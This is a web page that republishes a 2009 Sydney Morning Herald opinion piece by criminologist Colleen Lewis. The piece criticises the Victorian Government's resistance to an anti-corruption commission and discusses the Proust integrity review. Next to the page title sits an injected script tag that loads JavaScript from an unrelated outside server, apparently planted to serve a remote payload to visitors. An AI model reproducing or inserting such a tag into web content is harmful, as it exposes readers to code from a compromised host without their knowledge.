NEWS > 29 November 2009

Article sourced from

Ethics in Policing<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Sydney Morning Herald
29 November 2009

This article appeared in the above title/site.
To view it in its entirity click this link.

Ethics in Policing

Australia: A real review would

An independent body to monitor integrity would be good for Victoria.

FOR the past five years, successive Labor Governments have stubbornly refused to entertain the idea that Victoria would benefit from an anti-corruption agency and a more comprehensive suite of integrity institutions.

In response to repeated calls for a broad ranging anti-corruption commission by many Victorians (and by former Labor premiers in other states), the Government has refused to budge. Instead, the Premier and his ministers have reiterated the same unconvincing message: that the current systems are right and have proven to be better than those elsewhere in Australia.

Even when announcing the review into ''the powers, functions, co-ordination and capacity of Victoria's integrity and anti-corruption system'', Premier John Brumby maintained that anti-corruption commissions are ''good for employing lawyers'' but that he is ''not sure if they get results''. Comments such as these, offered without evidence, do not persuade. Even a cursory glance at Queensland before and after the Fitzgerald-inspired anti-corruption reforms tells a completely different story.

The Government's five-year refusal to consider an anti-corruption commission may well represent many lost opportunities for improving public life in Victoria. When coupled with its dogged four-year refusal to amend its somewhat bizarre policy of appointing the same person to the position of ''independent'' Ombudsman and ''independent'' Director of the Office of Police Integrity, it indicates a pattern of behaviour that some may see as worryingly inflexible.

But just as the Government eventually acted on its appointment policy in relation to the Ombudsman and Director of OPI, it announced last week that it is willing to at least consider the possibility of an anti-corruption commission.

Elizabeth Proust, a former CEO with more than 20 years leadership experience in the public and private sectors, including chairing a review of areas of the Department of Defence for then defence minister Brendan Nelson in 2006-07, is leading the review.

As with all inquiries and reviews, the terms of reference are vital. It is reassuring that the Premier has guaranteed that this review will have open terms of reference that will enable it to make whatever recommendations it chooses.

As important as the terms of reference are the processes used by the reviewers to gather evidence. While the Proust review is not public in the way that commissions of inquiry are, technology allows it to implement a relatively inexpensive, open and public process. All submissions, except those marked confidential by the people making them, could be posted on the review's website. Such an approach would help to inspire public confidence.

One of the issues the review will have to grapple with is whether Victoria would benefit from the ''one-stop-shop approach'' to anti-corruption, a feature of the Queensland and Western Australian models, or whether there are greater advantages in the multi-layered New South Wales approach.

Another important issue will be how the Ombudsman's Office, the OPI and/or any new anti-corruption institution are held to account. Other Australian states' powerful anti-corruption bodies, which are in effect standing royal commissions, report to a dedicated all-party parliamentary committee and not to the Parliament as a whole, as does Victoria's OPI and Ombudsman. In some states, these committees are assisted by a parliamentary commissioner or inspector-general, who can receive and investigate complaints against the anti-corruption agency and its staff.

On several occasions over the past five years, the accountability advantages of the Ombudsman and OPI reporting to a dedicated all-party parliamentary committee have been voiced. But in much the same way as it stonewalled calls for other improvements to its anti-corruption policies, this suggestion was summarily dismissed by the Government - until very recently.

The day after he announced the review, the Premier at last conceded that ''there may well be an argument saying that the Parliament should exercise greater interest or greater oversight in relation to the work of the Ombudsman''. Of course there is such an argument, and one can only hope that the Premier is willing to extend it to the OPI and/or any new body that is created.

A myriad issues confronts the review team. But one of the most politically difficult decisions it will have to face is the jurisdiction of any new anti-corruption institution.

In NSW, WA and Queensland, governments concerned about improving integrity in pubic life have implemented models that extend to the behaviour of politicians. If such a recommendation is made, and there are many valid arguments to suggest that it should be, it will be telling indeed if the Government's response is to return to its previous intractable approach to anti-corruption and integrity policies.

Colleen Lewis is an associate professor in criminology at Monash University. She is co-editor and contributor to the forthcoming book The Fitzgerald Legacy: Reforming Public Life in Australia and Beyond.

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Sydney Morning Herald29 November 2009

Australia: A real review would

EiP Comments:

Sydney Morning Herald
29 November 2009